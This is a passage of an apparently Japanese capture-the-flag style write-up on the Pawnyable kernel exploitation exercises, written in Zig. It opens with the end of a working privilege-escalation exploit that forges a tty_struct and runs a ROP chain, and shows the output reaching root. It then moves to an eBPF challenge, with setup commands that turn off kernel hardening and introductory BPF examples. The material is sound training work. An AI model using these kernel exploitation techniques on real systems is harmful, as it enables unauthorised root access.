</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, aar_page[offset..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>]).<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">-</span> offset;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Heap leak = 0x{x}&#34;</span>, .{heap_leak});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(blob_buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], aar_page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>]);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> aaw_page <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">fusePage</span>(<span style="color:#79a8ff">&#34;/tmp/pwn/aaw&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">munmap</span>(aaw_page);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> tty <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(tty_struct, <span style="color:#00d3d0">&amp;</span>blob_buf);
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.magic <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x5401</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.kref <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.dev <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.driver <span style="color:#00d3d0">=</span> heap_leak;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.ops <span style="color:#00d3d0">=</span> heap_leak<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x100</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// ensure ropchain is far away enough from important tty_struct internals
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@memcpy</span>(blob_buf[<span style="color:#00bcff">0x100</span>..][<span style="color:#00bcff">0</span>..<span style="color:#f78fe7">@sizeOf</span>(tty_operations)], std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_operations{ .ioctl <span style="color:#00d3d0">=</span> PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(blob_buf[<span style="color:#00bcff">0x100</span>..][<span style="color:#f78fe7">@sizeOf</span>(tty_operations)..]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        victim_id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .ADD, <span style="color:#00d3d0">&amp;</span>blob_buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .SET, aaw_page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], victim_id);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> _ <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(tty, <span style="color:#00bcff">0xdeadbeef</span>, heap_leak<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x100</span><span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(tty_operations));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> cpu<span style="color:#00d3d0">:</span> linux.cpu_set_t <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@splat</span>(<span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>        cpu[<span style="color:#00bcff">0</span>] <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> linux.<span style="color:#feacd0">sched_setaffinity</span>(linux.<span style="color:#feacd0">getpid</span>(), <span style="color:#00d3d0">&amp;</span>cpu);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#00d3d0">&amp;</span>modprobePath);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> fuse_ready <span style="color:#00d3d0">=</span> std.Thread.ResetEvent{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, fuseThread, .{<span style="color:#00d3d0">&amp;</span>fuse_ready});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>    t.<span style="color:#feacd0">detach</span>();
</span></span><span style="display:flex;"><span>    fuse_ready.<span style="color:#feacd0">wait</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    fleck_fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/fleckvieh&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fleck_fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">exploit</span>();
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">debug</span>(<span style="color:#79a8ff">&#34;Wat&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> DEBUG <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>;</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user
</span></span><span style="display:flex;"><span>[DBUG] Beginning AAR
</span></span><span style="display:flex;"><span>[INFO] Kernel base @ 0xffffffff81200000
</span></span><span style="display:flex;"><span>[DBUG] Beginning AAR
</span></span><span style="display:flex;"><span>[INFO] Heap leak = 0xffffa244c3c08c00
</span></span><span style="display:flex;"><span>[DBUG] Beginning AAW
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk04-fuse.zig">完全なエクスプロイト</a></p>
<p>楽勝。</p>
<h2 id="brahman">Brahman</h2>
<details>
<summary>課題情報</summary>
<div class="details">





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s|^(echo 2 &gt; /proc/sys/kernel/kptr_restrict)|# \1|&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s|^(echo 1 &gt; /proc/sys/kernel/dmesg_restrict)|# \1|&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#34;s/(setuidgid) 1337 (sh)/\1 0 \2/&#34;</span> rootfs/etc/init.d/S99pawnyable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#79a8ff">&#39;/${DEBUG:+ -s} \\/d&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;/qemu-system-x86_64 \\/a \ \ \ \ ${DEBUG:+ -s} \\&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;s/ kaslr/ ${NOKASLR:+no}kaslr/&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i <span style="color:#79a8ff">&#39;/-serial unix:vm.sock,server,nowait/d&#39;</span> run.sh
</span></span><span style="display:flex;"><span>sed -i -E <span style="color:#79a8ff">&#39;/-monitor \/dev\/null/a \ \ \ \ -serial unix:vm.sock,server,nowait \\&#39;</span> run.sh</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SMEP enabled
</span></span><span style="display:flex;"><span>SMAP enabled
</span></span><span style="display:flex;"><span>KPTI enabled
</span></span><span style="display:flex;"><span>KASLR enabled</span></span></code></pre></div>

</div>
</details>
<p>これは僕のeBPFの初経験から、最初にちょっと<a href="https://elinux.org/images/d/dc/Kernel-Analysis-Using-eBPF-Daniel-Thompson-Linaro.pdf%20">勉強した</a>。</p>
<p><a id="code-snippet--lk06-demo"></a></p>





  
  
    
    
    
  
  
    

  
  
    
    
  

  
  
    




  


  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BPF <span style="color:#00d3d0">=</span> linux.BPF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> AF <span style="color:#00d3d0">=</span> linux.AF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOCK <span style="color:#00d3d0">=</span> linux.SOCK;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOL <span style="color:#00d3d0">=</span> linux.SOL;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SO <span style="color:#00d3d0">=</span> linux.SO;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SK <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">i32</span>) {
</span></span><span style="display:flex;"><span>    DROP <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    PASS,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">// broken in 0.14.1
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">_ld_dw1</span>(dst<span style="color:#00d3d0">:</span> BPF.Insn.Reg, imm<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> BPF.LD <span style="color:#00d3d0">|</span> BPF.DW <span style="color:#00d3d0">|</span> BPF.IMM,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(dst),
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.Insn.Reg.r0),
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(imm)))),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">_ld_dw2</span>(imm<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) BPF.Insn {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@bitCast</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#f78fe7">@truncate</span>(imm <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">32</span>)))),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bpf_string_map</span>(str<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span>posix.fd_t {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .map_create <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.MapCreateAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr.map_create.map_type <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.MapType.array);
</span></span><span style="display:flex;"><span>    attr.map_create.key_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>);
</span></span><span style="display:flex;"><span>    attr.map_create.value_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>);
</span></span><span style="display:flex;"><span>    attr.map_create.max_entries <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>    attr.map_create.map_flags <span style="color:#00d3d0">=</span> BPF.BPF_F_RDONLY_PROG;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> rc <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">bpf</span>(.map_create, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.MapCreateAttr));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd<span style="color:#00d3d0">:</span> posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(rc)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@intCast</span>(rc),
</span></span><span style="display:flex;"><span>        .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.MapTypeOrAttrInvalid,
</span></span><span style="display:flex;"><span>        .NOMEM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.SystemResources,
</span></span><span style="display:flex;"><span>        .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(fd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#00bcff">0</span>)), str, BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .map_elem <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.MapElemAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    attr.map_elem.map_fd <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">bpf</span>(.map_freeze, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.MapElemAttr)))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> fd;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">example1</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;---(BPF Example 1)---</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> verifier_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> log <span style="color:#00d3d0">=</span> BPF.Log{ .buf <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>verifier_log, .level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span> };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>verifier_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(BPF.ProgType.socket_filter, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00d3d0">&amp;</span>log, <span style="color:#79a8ff">&#34;GPL v3&#34;</span><sup id="fnref:8"><a class="footnote-ref" href="#fn:8" role="doc-noteref">8</a></sup>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">setsockopt</span>(socks[<span style="color:#00bcff">0</span>], SOL.SOCKET, SO.ATTACH_BPF, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>progfd), <span style="color:#00bcff">4</span>))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> input <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;Hello&#34;</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], input);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">10</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> n_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(socks[<span style="color:#00bcff">0</span>], <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Sent &#39;{s}&#39;, received &#39;{s}&#39;&#34;</span>, .{ input, buf[<span style="color:#00bcff">0</span>..n_read] });
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">example2</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;---(BPF Example 2)---</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> mapfd<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_create</span>(.array, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>), <span style="color:#00bcff">32</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(mapfd, <span style="color:#00d3d0">&amp;</span>.{<span style="color:#00bcff">1</span>}, <span style="color:#00d3d0">&amp;</span>.{ <span style="color:#00bcff">0xca</span>, <span style="color:#00bcff">0xfe</span>, <span style="color:#00bcff">0xba</span>, <span style="color:#00bcff">0xbe</span>, <span style="color:#00bcff">0xca</span>, <span style="color:#00bcff">0xfe</span>, <span style="color:#00bcff">0xba</span>, <span style="color:#00bcff">0xbe</span> }, BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, <span style="color:#00bcff">0x1337</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r3, .r2),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">call</span>(.map_update_elem),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> verifier_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> log <span style="color:#00d3d0">=</span> BPF.Log{ .buf <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>verifier_log, .level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span> };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>verifier_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
